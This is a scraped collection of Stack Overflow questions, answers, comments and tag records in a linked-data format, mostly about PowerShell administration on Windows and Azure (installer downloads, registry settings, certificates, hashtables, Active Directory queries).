Write-Host "Failed to download Adobe Acrobat Installer. Error: $_" exit 1 } } function Install-AdobeAcrobat { Write-Host "Running Adobe Acrobat installer..." try { Start-Process -FilePath $installerPath -ArgumentList "/sAll /rs /rps /msi EULA_ACCEPT=YES" -Wait Write-Host "Adobe Acrobat installation complete." } catch { Write-Host "Failed to install Adobe Acrobat. Error: $_" exit 1 } } function Verify-FileSize { $file = Get-Item $installerPath if ($file.Length -lt 1000000) { # Assuming the file should be larger than 1MB Write-Host "The downloaded file is too small and might be corrupt." exit 1 } } Download-AdobeInstaller Verify-FileSize Install-AdobeAcrobat
has comment: http://stackoverflow.com/comment/139438169
type: Question
answer count: 1
has title: PowerShell Script Downloading Corrupted exe File
has answer: http://stackoverflow.com/a/79084326
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139452524
tagged with: scripting
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139432246
has comment: http://stackoverflow.com/comment/139432736
score: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139432342

http://stackoverflow.com/a/79164563
answers question: http://stackoverflow.com/q/79164499
downvote count: 0
has comment: http://stackoverflow.com/comment/139594017
has comment: http://stackoverflow.com/comment/139598704
score: 1
upvote count: 1
has body: It turns out the original variable assignment was the problem. I should have used single quotes instead of double quotes. This code: $Passwd = 'StringWith`Character' # <-- entered by user $new_pw = $Passwd.replace('`','``') write-output "Passwd = $Passwd" write-output "New_pw = $new_pw" Produces this output: Passwd = StringWith`Character New_pw = StringWith``Character
type: Answer

windows-server-2019
tags question: http://stackoverflow.com/q/79136438
tags question: http://stackoverflow.com/q/79165959
tag name: windows-server-2019
type: Tag
tags question: http://stackoverflow.com/q/79390622

http://stackoverflow.com/q/79095487
tagged with: powershell
has answer: http://stackoverflow.com/a/79095501
has answer: http://stackoverflow.com/a/79095637
tagged with: hashtable
upvote count: 3
linked to: http://stackoverflow.com/q/75722846
tagged with: reverse
linked to: http://stackoverflow.com/q/78524051
has body: I want to achive a simple goal. Stop some services in a defined order on multiple servers and afterwards start them in the reversed order. So first step is to define an ordered hashtable / dictonary. $serviceServer = [ordered]@{ "service3" = @("server1") "service1" = @("server2", "server3") "service2" = @("server1", "server2", "server3") } But how do I reverse the order for the restart of the services? In php I would do an array_reverse ... no big deal, but Powershell seems to have its own meaning of easiness. I tried Sort-Object in multiple ways, but the order stay the same. $reverseServices = $serviceServer | Sort-Object Look at this and try at your own, i have done some performance tests. $serviceServers = [ordered]@{ "service3" = @("server1") "service1" = @("server2", "server3") "service2" = @("server1", "server2", "server3") "service6" = @("server1") "service4" = @("server2", "server3") "service5" = @("server1", "server2", "server3") "service9" = @("server1") "service7" = @("server2", "server3") "service8" = @("server1", "server2", "server3") } function Reverse-ByEnum1 { param( $serviceServer ) $keys = @($serviceServer.Keys) $serviceServer.GetEnumerator() | Sort-Object { $keys.IndexOf($_.Key) } -Descending } function Reverse-ByEnum2 { param( $serviceServer ) $serviceServer.GetEnumerator() ` | foreach-object ` -begin { $r = [ordered] @{} } ` -process { $r.Insert(0, $_.Key, $_.Value) } ` -end { $r } } function Reverse-ByKeys { param( $serviceServer ) $reversedServiceServer = [ordered] @{} foreach ($key in $serviceServer.Keys) { $reversedServiceServer.Insert(0, $key, $serviceServer[$key]) } $reversedServiceServer } Measure-Command { for ($i = 0; $i -lt 10000; $i++) { $reverse1 = Reverse-ByEnum1 $serviceServers } } Measure-Command { for ($i = 0; $i -lt 10000; $i++) { $reverse2 = Reverse-ByEnum2 $serviceServers } } Measure-Command { for ($i = 0; $i -lt 10000; $i++) { $reverse3 = Reverse-ByKeys $serviceServers } } Write-Host ==========================================…
type: UnansweredQuestion
score: 3
favorite count: 0
has title: How to reverse the order of a Powershell ordered hashtable / dictionary
has comment: http://stackoverflow.com/comment/139468089
has comment: http://stackoverflow.com/comment/139468198
has comment: http://stackoverflow.com/comment/139480789
has answer: http://stackoverflow.com/a/79095515
type: Question
has comment: http://stackoverflow.com/comment/139468123
answer count: 3
has comment: http://stackoverflow.com/comment/139470192
has comment: http://stackoverflow.com/comment/139467856
linked to: http://stackoverflow.com/q/54434601
downvote count: 0

http://stackoverflow.com/comment/139458388
has text: As an aside: Because you forgot the second `&` in `./mem &; ./mem`, the second `mem` process runs in the _foreground_ and directly prints its output to the terminal. The output from the first one is the object that describes the PowerShell background job that the background operator, `&`, created.
score: 0
comment on: http://stackoverflow.com/q/79088290
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139518120
type: AnswerComment
type: Comment
has text: No worries - it might be worth posting another question - it is hard to tell but maybe you haven't accurately filtered devices and are attempting to disable a device that can't be disabled? Try re-confirming devices using `Get-PnpDevice` before disabling them
score: 0
comment on: http://stackoverflow.com/a/79120176

http://stackoverflow.com/comment/139680334
type: Comment
score: 0
has text: Ok, that's a shame, I'm not aware of that (there are many things I'm not sure on! ). It would be good to get to the best case situation that is fast and efficient. Are there any additional techniques that you can think of that would improve this detection?
comment on: http://stackoverflow.com/q/79211988
type: QuestionComment

http://stackoverflow.com/comment/139613076
score: 2
has text: Generally speaking: By default, you cannot avoid [UAC](https://en.wikipedia.org/wiki/User_Account_Control) dialogs that are presented when elevation (running as an administrator with elevated privileges) is requested. The only workarounds are insecure and therefore strongly discouraged - see [this answer](https://stackoverflow.com/a/77412370/45375). The best solution is to call from an already-elevated process (which just shifts the point in time when a UAC dialog must be responded to).
comment on: http://stackoverflow.com/q/79174496
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79099652
type: Answer
answers question: http://stackoverflow.com/q/79099651
score: 1
accepted answer of: http://stackoverflow.com/q/79099651
type: AcceptedAnswer
downvote count: 1
has body: I discovered that the office network I was on is protected behind a TLS proxy, so most TLS requests have a self-signed certificate injected into the certificate chain for each request. If you visit a random site using the Chrome browser (e.g. https://portal.azure.com/) and view the SSL certificate "Issued By", and see that the common name (CN) is something unexpected (e.g. tlsProxy.myNetworkServer01.com), then you can safely assume there is a proxy server somewhere, at least for TLS requests. If you see a normal issuer, maybe try a different random site that likely wouldn't be whitelisted? When viewing the certificate in Chrome, go to the Details tab and select the topmost cert in the hierarchy, then select the "Export..." button and save the file as a base64 single certificate. Install CA Certificate For Windows, right-click the saved certificate and select "Install". It's more secure to store it just for the current user, but you can do the local machine if you want. Install it to the "Trusted Root Certification Authorities" store. For Ubuntu (in my case, in WSL), run the following: sudo apt-get install -y ca-certificates # Installs a cert management tool, might already be installed. sudo cp /mnt/c/Users/myUser/Desktop/myCertificate.crt /usr/local/share/ca-certificates # Copies the saved certificate file from its saved location (in this case, the WSL host's C: drive, user's desktop folder) to the Ubuntu system. sudo update-ca-certificates # Installs the copied certificate, will likely show "1 added". Configure Azure CLI Python The Azure CLI uses some Python commands internally, which in turn by default will not make use of trusted system certificates. Also, Azure CLI has its own Python runtime which has its own configuration. You will need to update this Python instance to use a hook that tells the Certifi library to use trusted certificates. For Windows, in a terminal, navigate to the installation directory for Azure CLI (default C:\Program Files\Microsoft SDKs\A…
upvote count: 2

http://stackoverflow.com/comment/139694531
comment on: http://stackoverflow.com/q/79219476
has text: Unfortunately I don't know much about Windows and I don't know anything about PowerShell programming so I can't be of much help, except to say that this is really a PowerShell question not a make question. If you can find a way in PowerShell to have it generate all the values you need in one invocation then there are various ways to pull that into make variables. If you were using a POSIX environment I could help (but really a POSIX system would be fast enough that you could just run this 4 times and no need to get fancy).
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139642613
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79188856
has text: Yes, **-All** is not supported in the cmdlet **Get-AzADApplication**

http://stackoverflow.com/comment/139737987
comment on: http://stackoverflow.com/q/79244326
has text: yes, my problem is the out of memory issue and the code seems to work accordingly to what I want. But as the more files there are in the folders, the longer it takes, and it is in these cases that there are "out of memory" issues even if there is nothing to delete. whereas from my point of view it shouldn't act differently if there are 10 files or 10 thousands, I doubt my code as I'm new to powerShell. @SantiagoSquarzon
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79147934
has body: It appears that the new PSResourceGet module contains a newer version of the Update-ModuleManifest cmdlet with a slightly different name Update-PSModuleManifest (1.0.6). This version works as expected: Install-Module -Name Microsoft.PowerShell.PSResourceGet -RequiredVersion 1.0.6 Update-PSModuleManifest -Path .\Tests.psd1 -NestedModules @()
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79137830
type: Answer
accepted answer of: http://stackoverflow.com/q/79137830
score: 0

http://stackoverflow.com/q/79074595
tagged with: .net
has comment: http://stackoverflow.com/comment/139429105
tagged with: registry
tagged with: powershell
has comment: http://stackoverflow.com/comment/139433236
tagged with: applocker
has comment: http://stackoverflow.com/comment/139433239
type: UnansweredQuestion
has body: In the below mentioned Powershell script, the registry key for "NoAutoUpdate" never works. But, In the same script, if I add the "NoAutoUpdate" registry addition logic after AppLocker logic, it works 80% of the time. I am neither able to find the root cause nor able to make it work consistently. What do you think I am missing? try { $filesToCopy = "" foreach ($file in $filesToCopy) { Copy-Item -Path $file.Source -Destination $file.Destination -Recurse -Force } #AppLocker $registryPath = "Registry::HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" # This path is to find Application Identity service $name = "Start" $value = "2" $filename = "\Rules.xml" $CertName = "\x.cer" $invocation = (Get-Variable MyInvocation).Value $directorypath = Split-Path $invocation.MyCommand.Path $Certpath = $directorypath + $CertName $filepath = $directorypath + $filename # Add Registry key to stop Windows Auto Updates $regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" try { Set-ItemProperty -Path $regPath -Name NoAutoUpdate -Value 1 -Type DWord -Force Write-Output "NoAutoUpdate registry key created successfully." } catch { Write-Output "Failed to create NoAutoUpdate registry key: $($_.Exception.Message)" } # Add certificate to the Trusted Root Certification Authorities store Set-Location -Path cert:\LocalMachine\Root Import-Certificate -Filepath $Certpath Write-Host "AppLocker enabled and rules created successfully." # Check if the Application Identity service is running $serviceStatus = Get-Service -Name "AppIDSvc" if ($serviceStatus.Status -eq 'Running') { Write-Host "Application Identity service is running already." } else { # Set the Application Identity service to start automatically Set-ItemProperty -Path $registryPath -Name $name -Value $value Write-Host "Application Identity service is starting. Please wait until the system reboots." # Restart the computer shutdown /r } } catch { Write-Host "An error occurred: $($_.Exception.Message)" return $false } finally { …
score: 0
has comment: http://stackoverflow.com/comment/139429099
tagged with: windows
has title: Powershell script for setting two Windows registry values using Set-ItemProperty does not work
type: Question
answer count: 0

http://stackoverflow.com/a/79142529
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/79140018
score: 0
accepted answer of: http://stackoverflow.com/q/79140018
has body: OK, I fixed it with WSL! I just needed to add export PATH=~/anaconda3/bin:$PATH to the .bashrc file in my Linux home directory (it looks like when I tried this before I typed it without specifying the home directory). Then while in the home directory I ran source .bashrc, then conda init. Now it works. One additional note, I found it's not recommended to add conda to PATH. For what to do instead, see this page: https://docs.anaconda.com/working-with-conda/reference/faq/.

http://stackoverflow.com/q/79193243
upvote count: 1
has answer: http://stackoverflow.com/a/79193354
type: Question
linked to: http://stackoverflow.com/q/51252465
accepted answer: http://stackoverflow.com/a/79193354
linked to: http://stackoverflow.com/q/55034497
downvote count: 0
tagged with: scope
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79193404
score: 1
has title: Can a function be created in the global scope from a .ps1 script's script block?
favorite count: 0
possible better answer: http://stackoverflow.com/a/79193404
tagged with: global
answer count: 2
tagged with: function
has body: Consider a PowerShell script named s.ps1 with content 1/0 and the hypothetical function NAME New-GlobalFunction SYNOPSIS Creates a new function in global scope from a script. SYNTAX New-GlobalFunction [-ScriptPath] <string> [-FunctionName] <string> I am hoping to be able to define global function Invoke-S using New-GlobalFunction such that Invoke-S produces error position information showing the correct file similar to the following: PS C:\> New-GlobalFunction -ScriptPath .\s.p1 -FunctionName Invoke-S; Invoke-S RuntimeException: C:\s.ps1:1 Line | 1 | 1/0 | ~~~ | Attempted to divide by zero. ---------- Attempted to divide by zero. at <ScriptBlock>, C:\s.ps1: line 1 Note the mention of the original file c.ps1. The architecture of PowerShell suggests this ought to be possible since scripts and functions are just script blocks: In the PowerShell programming language, a script block is a collection of statements or expressions that can be used as a single unit. The collection of statements can be enclosed in braces ({}), defined as a function, or saved in a script file. Indeed the script block defined by s.ps1 is accessible by Get-Command .\s.ps1 | % ScriptBlock. The error with the correct location information above was produced by invoking that script block. In fact, that script block can be turned into a local function with the command New-Item -Path Function: -Name Invoke-S -Value (Get-Command .\s.ps1 | % ScriptBlock) I have not, however, succeeded at creating such a global function. Is there a way to define New-GlobalFunction such that an error produced by the script block defined in the file at -ScriptPath contains the correct file in its error position message? Methods that don't work The code below attempts the different methods I have tried for creating Invoke-S. It outputs the following: method new_error invoke_error stacktrace ------ --------- ------------ ---------- iex function global Attempted to divide by zero. at global:Invoke-S, <No file>… function global…

http://stackoverflow.com/q/79136057
tagged with: powershell
type: UnansweredQuestion
tagged with: azure
tagged with: azure-functions
has title: PowerShell Core Function App on Linux: Logs Missing When Local Authentication is Disabled in Application Insights
favorite count: 0
has answer: http://stackoverflow.com/a/79136206
has body: I am using a PowerShell core 7.4 function app running on Linux. And I have application insights where local authentication is disabled. I have deployed the Powershell script which monitors the license expiry dates and needs to send data to application insights. The function app identity is enabled and it has a metric publisher role in application insights. The problem with the application when local authentication is disabled is, that it will not display any logs when test/run or logs. When I disabled the local authentication on application insights, the script worked like a charm. I don't know what the issue was, but I am expecting it to be an authentication issue with identity. Below is the code that I am using param($Timer) $InstrumentationKey = $env:APPLICATIONINSIGHTS_INSTRUMENTAION_KEY # Application Insights Endpoint (ingestion endpoint for custom metrics) $ApplicationInsightsURL = "https://dc.services.visualstudio.com/v2/track" $minimumDaysValid = 20 #Disable-AzContextAutosave -Scope Process #function LoginAzureAutomation { # try { # $AzureContext = (Connect-AzAccount -Identity).context # $AzureContext = Set-AzContext -SubscriptionName $AzureContext.Subscription -DefaultProfile $AzureContext # $token = (Get-AzAccessToken -ResourceTypeName AadGraph).token # Connect-AzureAD -AadAccessToken $token -AccountId $AzureContext.Account -TenantId $AzureContext.Tenant # } # catch { # Write-Error -Message "Unable to connect to Azure!" -ErrorAction Stop # throw $_.Exception # } #} #LoginAzureAutomation # Get the path to the JSON file $jsonFilePath = Join-Path $PSScriptRoot "licensesdates.json" # Log the timer status if available if ($Timer -ne $null) { Write-Host "Function triggered by Timer: $($Timer.ScheduleStatus.Last)" } # Load the licenses from the JSON file $licenseData = Get-Content -Raw -Path $jsonFilePath | ConvertFrom-Json foreach ($license in $licenseData.licenses) { $licenseName = $license.licenseName $expirationDate = $license.expirationDate $expirationRealDa…
type: Question
upvote count: 4
answer count: 1
tagged with: azure-managed-identity
score: 4
downvote count: 0
tagged with: azure-application-insights

policy
tags question: http://stackoverflow.com/q/79085814
tag name: policy
type: Tag

http://stackoverflow.com/comment/139714910
type: Comment
has text: @NeoGenesis521 YEP! the query looks fine including the `WHERE` (the date is in one of the [accepted formats](https://learn.microsoft.com/en-us/windows/win32/wmisdk/wql-supported-date-formats)) however AFAIK WQL doesn't have an `ORDER BY` so that part looks incorrect and should be removed. See also this doc: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_wql?view=powershell-5.1. By the way, if you wanna use CIM you may not need PowerShell at all, see this answer: https://stackoverflow.com/a/79048523/15339544 look for `ManagementObjectSearcher` example
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79227179

http://stackoverflow.com/comment/139503523
score: 1
has text: Fabulous! It seem as a rookie on Win API, I keep over-engineer my code. Perhaps due to somewhat unclear MS documentation. On one page they say use this, then they say to use that, etc. Love the simplicity you provided here, TY.
type: AnswerComment
comment on: http://stackoverflow.com/a/79115035
type: Comment

http://stackoverflow.com/comment/139503213
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
has text: I added new code that I tried today - I feel that it should work to get the recovery keys, however it is not, it is giving me an error "Error fetching recovery information for <computername>". Please see my edited post, it is at the very top.
score: 0

http://stackoverflow.com/q/79184599
answer count: 1
tagged with: powershell
type: AnsweredQuestion
tagged with: azure
tagged with: azure-powershell
has comment: http://stackoverflow.com/comment/139631016
score: 0
has body: I have got Azure resources within specific resource groups, however I do need to ensure that all resources have the following tags. Environment Cost_centre Department Owner Type So far it has been a manual process of checking each resources, but I think the work is now complete but was wondering if there is a way tow rite a powershell script or a Azure graph query to check that all resources within the specific resource group have the following tags, and if not highlight the resources that are missing any of the tags highlighted above. What has been confusing for me is that each resource group has a mixture of resource types i.e App services, SQL, storage accounts etc. How do I capture all resource types to check that the tags are in place and only highlight resources that are missing any of the tags above. Thanks in advance.
has comment: http://stackoverflow.com/comment/139631033
tagged with: azure-ad-graph-api
has answer: http://stackoverflow.com/a/79184694
accepted answer: http://stackoverflow.com/a/79184694
type: Question
has title: Query resources in resource groups where tags are missing

http://stackoverflow.com/comment/139432473
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79072401
has text: @Chris Lynch Thank you for replying and testing it. I'm glad your issue was resolved. Thank you, too.

http://stackoverflow.com/comment/139684857
type: Comment
comment on: http://stackoverflow.com/q/79214246
has text: The code you've posted does not include any calls to `$sql.ExecuteScalar()`?
score: 2
type: QuestionComment

http://stackoverflow.com/q/79240454
upvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/66785877
has comment: http://stackoverflow.com/comment/139731038
linked to: http://stackoverflow.com/q/41767759
type: Question
has comment: http://stackoverflow.com/comment/139731098
answer count: 1
has comment: http://stackoverflow.com/comment/139731148
linked to: http://stackoverflow.com/q/73981548
downvote count: 0
has answer: http://stackoverflow.com/a/79240616
has body: using System; using System.Diagnostics; class Program { static void Main(string[] args) { ProcessStartInfo startInfo = new ProcessStartInfo { FileName = "C:\\tmp\\Support\\InstallIIS.bat", Verb = "runas", // Request admin rights UseShellExecute = true }; Process.Start(startInfo); } } InstallIIS.bat content: PowerShell -NoProfile -ExecutionPolicy Bypass -Command "Install-WindowsFeature -Name Web-Server,Web-ASP,Web-Basic-Auth,Web-Metabase,Web-Windows-Auth,Web-Mgmt-Console,Web-Dyn-Compression" I got this bat file in the C:\\tmp\\Support\\InstallIIS.bat file. A console app with the above code launches it and another console window appears where I see the PowerShell command. Almost at once, it closes. If I run the InstallIIS.bat manually, it does what it has to - installs IIS. With C# code, it does not. My question is: how to make C# ⇾ bat ⇾ PowerShell work? Trying to accomplish another, more complex task, I simplified the issue to the most basic level. So, I am stuck with the problem that in my view does not have to exist Update: a similar question 'Get-WindowsDriver' is not recognized as the name of a cmdlet does not help as I'm trying to avoid using PowerShell calls inside my code. I've got to stick with C# -> bat -> PowerShell calls
has comment: http://stackoverflow.com/comment/139731704
tagged with: c#
linked to: http://stackoverflow.com/q/50556372
has comment: http://stackoverflow.com/comment/139730997
has comment: http://stackoverflow.com/comment/139731043
tagged with: powershell
has comment: http://stackoverflow.com/comment/139731145
has title: c# to launch .bat that launches powershell
has comment: http://stackoverflow.com/comment/139731157
type: UnansweredQuestion
score: 1

http://stackoverflow.com/comment/139613158
score: 0
comment on: http://stackoverflow.com/a/79158066
type: AnswerComment
type: Comment
has text: Thanks for your answer, I am still facing the same problem. I am still facing the same problem. My account has been granted “Application Development Administrator”, “Group Administrator”, and “Global Administrator” permissions. creation of Microsoft Entra Domain Service is normal I believe, as the creation screen displays correctly.

http://stackoverflow.com/comment/139910712
comment on: http://stackoverflow.com/a/79338381
type: AnswerComment
score: 2
type: Comment
has text: This does not provide an answer to the question. Once you have sufficient [reputation](https://stackoverflow.com/help/whats-reputation) you will be able to [comment on any post](https://stackoverflow.com/help/privileges/comment); instead, [provide answers that don't require clarification from the asker](https://meta.stackexchange.com/questions/214173/why-do-i-need-50-reputation-to-comment-what-can-i-do-instead). - [From Review](/review/late-answers/36652227)

http://stackoverflow.com/q/79210976
has comment: http://stackoverflow.com/comment/139678557
score: 0
tagged with: cookies
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139678320
type: Question
has answer: http://stackoverflow.com/a/79211865
tagged with: internet-explorer
has title: Powershell script to enable the cookies in Internet Explorer
tagged with: powershell
has body: We are creating a Windows EC2 instance, installing gateway in pipeline and then registering Microsoft on-premises gateway manually. While registering the gateway, it expects cookies enabled in IE. We are enabling the cookies in IE manually. We want to automate this step and include it in the pipeline. Can someone suggest a powershell script to enable the cookies in IE? I am currently enabling the cookies as follows: Select 'Internet Options' from the Tools menu. Click on the 'Privacy' tab. Select the 'Advanced' button Under 'First-party Cookies' and 'Third-party Cookies', choose Accept Select 'OK' when done
answer count: 1

http://stackoverflow.com/a/79115529
type: Answer
answers question: http://stackoverflow.com/q/79112307
has body: As mclayton notes, -ExcludeFeatures is a switch parameter, i.e. it acts as a flag (with state on, if specified; off, if not) and therefore accepts no arguments.[1] Therefore, trying to pass any arguments is a syntax error, which is what you saw. The Install-Language help topic suggests that the -ExcludeFeatures switch abstractly requests exclusion of those features that are opt-in in an interactive installation ("the associated language Features on Demand won't be installed.") In practice, this means that when -ExcludeFeatures is specified, only the following features are installed for the target language: BasicTyping OCR In other words: You don't get explicit control over which features are excluded. Among the features you were trying to exclude, -ExcludeFeatures does exclude TextToSpeech and Handwriting, but not OCR. Therefore, run the following from an elevated session (run as administrator): #requires -RunAsAdministrator # NOTE: Took almost 7 minutes (!) to complete on my W11 22H2 machine Install-Language -Language da-DK -ExcludeFeatures [1] Technically, you may pass $true or $false as an argument, separated with : (e.g, -ExcludeFeatures:$true), which is primarily used when programmatically constructing arguments with the Boolean provided via a variable or expression; -ExcludeFeatures:$true is in effect the same as just -ExcludeFeatures, and -ExcludeFeatures:false is - typically and in this case - the same as not specifying -ExcludeFeatures. See this answer for more information.
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79112307
score: 3
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/139674980
type: AnswerComment
comment on: http://stackoverflow.com/a/79208857
type: Comment
has text: That did it! Thank you very much for the fix! I didn't consider that because with other attributes I mass-modify with a PS command I don't need the "ForEach" loop. For example, when I mass-modify the 'location' attribute I just do the pipe followed by the Set-ADUser and the replacement location. Thank you again!
score: 1

powershell-7.4
tags question: http://stackoverflow.com/q/79110476
tags question: http://stackoverflow.com/q/79162911
tags question: http://stackoverflow.com/q/79076344
tag name: powershell-7.4
type: Tag
tags question: http://stackoverflow.com/q/79342908
tags question: http://stackoverflow.com/q/79258847
tags question: http://stackoverflow.com/q/79340858
tags question: http://stackoverflow.com/q/79416673
tags question: http://stackoverflow.com/q/79547409

http://stackoverflow.com/q/79220211
score: 4
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
tagged with: terminal
accepted answer: http://stackoverflow.com/a/79228955
has comment: http://stackoverflow.com/comment/139694653
has comment: http://stackoverflow.com/comment/139695093
has comment: http://stackoverflow.com/comment/139710215
has answer: http://stackoverflow.com/a/79228955
favorite count: 0
linked to: http://stackoverflow.com/q/32056955
has body: In unix world we have always been able to send character strings between terminal windows using the /dev/ttyS serial devices or the /dev/pty pseudo-terminals. To do that is trivial once you know your tty/pty number, and could use: # On /dev/pty1 write: echo -e "\nHello! \n" >/dev/pty0 # On /dev/pty0, receive: Hello! (There is a bug in the Cygwin/Bash version that interferes with the character \n and whatever is in front, unless its a space.) This even works in MSYS/Cygwin. Is there a way to accomplish a way to do the same (in Windows) between powershell terminal windows? I have seen that you can send strings using the COM serial devices, using something like: echo "Hello!" > \\.\COM3\ But AFAIK, the Windows terminal shell doesn't have an associated COM port, nor anything else obvious or accessible. Apparently the COM ports are set in the registry at: HKLM:\SYSTEM\CurrentControlSet\Control\COM Name Arbiter\Devices References: https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/#what-no-windows-pseudo-console https://learn.microsoft.com/en-us/windows/console/creating-a-pseudoconsole-session
tagged with: window
has comment: http://stackoverflow.com/comment/139699254
has comment: http://stackoverflow.com/comment/139699659
has title: Is there a way to send character strings between 2 powershell terminal windows?
type: Question
upvote count: 4
tagged with: windows-terminal
answer count: 1
has comment: http://stackoverflow.com/comment/139695152

http://stackoverflow.com/a/79139200
type: Answer
accepted answer of: http://stackoverflow.com/q/79138711
has body: Match the candidate lines with regex \bDisk\b Then exclude those whose first whitespace-separated token ends in $, with regex \$$. net view \\computername /all | Where-Object { $_ -match '\bDisk\b' } | ForEach-Object { if (($shareName = (-split $_)[0]) -notmatch '\$$') { $shareName } } Note: Simply omitting /all obviates the need to exclude the shares whose name ends in $; that is, the ForEach-Object call's script block can then simply be { (-split $_)[0]) } Either way, the assumption is that the share name doesn't contain spaces; for a robust OO alternative, see below. A superior OO alternative, using Get-SmbShare with its -CimSession parameter to target a remote computer: (Get-SmbShare -Special:$false -CimSession (New-CimSession computername)).Name
answers question: http://stackoverflow.com/q/79138711
type: AcceptedAnswer
score: 4
upvote count: 4
downvote count: 0

http://stackoverflow.com/comment/139669836
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79205974
has text: @Izzy you can pre-download to the network installation directory and install from there.
type: Comment

http://stackoverflow.com/comment/139495115
type: Comment
comment on: http://stackoverflow.com/q/79110018
score: 1
has text: Perhaps the function someone called bastienperez published can help? [Get-MSIFileInformation](https://github.com/itpro-tips/PowerShell-Toolbox/blob/master/Get-MSIFileInformation.ps1)
type: QuestionComment

http://stackoverflow.com/comment/139639007
type: QuestionComment
type: Comment
score: 1
has text: PowerShell out of the box is unable to control Chrome / Edge (Chromium based browsers) out of the box in the same way as we could with internet explorer. If you need to inspect the http responses inside the browser then you are very likely going to need to use [Selenium Web Driver](https://www.selenium.dev/) or [Edge Web Driver](https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/) to handle the responses and then essentially drive the browser to the html file / webpage location.
comment on: http://stackoverflow.com/q/79188846

http://stackoverflow.com/q/79193052
has body: How can I make this PowerShell script work in an Azure function? This script is using the PowerShell module "AzureADPreview" and works only in PowerShell 5. Write-Host "START" Connect-AzureAD -identity $disabledUsers = Get-AzureADUser -Filter "AccountEnabled eq false" | Select UserPrincipalName foreach($disabledUser in $disabledUsers) { $logs = Get-AzureADAuditDirectoryLogs -Filter "targetResources/any(tr:tr/userPrincipalName eq '$($disabledUser.UserPrincipalName)' and ActivityDisplayName eq 'Disable account')" -Top 1 | select ActivityDateTime if($logs) { foreach ($log in $logs) { if($log.ActivityDateTime.DateTime -lt (Get-Date).AddDays(-5).DateTime) { write-host "Account $($disabledUser.UserPrincipalName) disabled more as 5 days ago. Logs found." break } } } else { write-host "Account $($disabledUser.UserPrincipalName) disabled more as 30 days ago. Cannot find logs." } Start-Sleep -Seconds 20 } Write-Host "FINISH"
answer count: 1
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79199716
tagged with: azure-functions
has comment: http://stackoverflow.com/comment/139655996
has title: How can I make a powershell script work in an Azure function with PowerShell 5 and module AzureADPreview?
accepted answer: http://stackoverflow.com/a/79199716
tagged with: account
linked to: http://stackoverflow.com/q/78774401
tagged with: audit-logging
score: 0
tagged with: microsoft-entra-id
type: Question

http://stackoverflow.com/a/79109476
has body: I ended solving this, by realizing that this wasn't a code issue. It was me being a dummy issue. I was calling sqlcmd on the remote host, but forgot to add the instance! The variables were being declared and read correctly all along!
answers question: http://stackoverflow.com/q/79109456
type: Answer
score: 0

http://stackoverflow.com/comment/139617741
comment on: http://stackoverflow.com/q/79176779
score: 0
has text: This Shows me 2880 Width and 1800 Heigh an a 1920x1200 px Screen...
type: QuestionComment
type: Comment

argo-workflows
type: Tag
tag name: argo-workflows
tags question: http://stackoverflow.com/q/79211591

http://stackoverflow.com/comment/139707536
type: Comment
comment on: http://stackoverflow.com/a/79227179
score: 0
type: AnswerComment
has text: No problem, I am just facing issue on the line `runspace.SessionStateProxy.PSVariable.Set("StartTimeGenerated", StartTimeGenerated);` where I am getting `System.Management.Automation.PSNotSupportedException: 'Specified method is not supported.'`

http://stackoverflow.com/q/79098825
has answer: http://stackoverflow.com/a/79098837
favorite count: 0
tagged with: active-directory
has body: I have been struggling with some syntax error using powershell. Wondering if a kind soul may shed some light on my issue. $userDataRows = Get-ADUser -LDAPFilter '(&amp;(objectClass=User)(objectCategory=Person))' | Select-Object -Property @{N='AcctName';E={$_.'cn'}} ,@{N='Name';E={$_.'name'}} ,@{N='FirstName';E={$_.'givenName'}} ,@{N='Initial';E={$_.'initials'}} ,@{N='LastName';E={$_.'sn'}} ,@{N='MyID';E={$_.'extensionAttribute6'}} ,@{N='Badge';E={$_.'extensionAttribute2'}} ,@{N='Address';E={$_.'streetaddress'}} ,@{N='City';E={$_.'l'}} ,@{N='State';E={$_.'st'}} ,@{N='Office';E={$_.'physicalDeliveryOfficeName'}} ,@{N='Country';E={$_.'co'}} ,@{N='CountryID';E={$_.'c'}} ,@{N='PostCode';E={$_.'postalCode'}} ,@{N='Phone';E={$_.'telephoneNumber'}} does not extract the data I need. Instead, I received the error: Select-Object : Missing an argument for parameter 'Property'. Specify a parameter of type 'System.Object[]' and try again. At line:1 char:65 My general issue is I am hoping to extract several fields of data from AD. Its when I try to rename that I seem to be going off track. I have searched can't seem to figure what I'm doing wrong. Any thoughts? Thanks in advance! Jeff
type: Question
has title: powershell get-aduser syntax
downvote count: 0
answer count: 1
tagged with: powershell
type: UnansweredQuestion
score: 1
upvote count: 1

c#
tags question: http://stackoverflow.com/q/79112483
tags question: http://stackoverflow.com/q/79229639
tags question: http://stackoverflow.com/q/79098593
tags question: http://stackoverflow.com/q/79191771
tags question: http://stackoverflow.com/q/79240454
tags question: http://stackoverflow.com/q/79204520
tags question: http://stackoverflow.com/q/79177876
tags question: http://stackoverflow.com/q/79094880
tag name: c#
tags question: http://stackoverflow.com/q/79089859
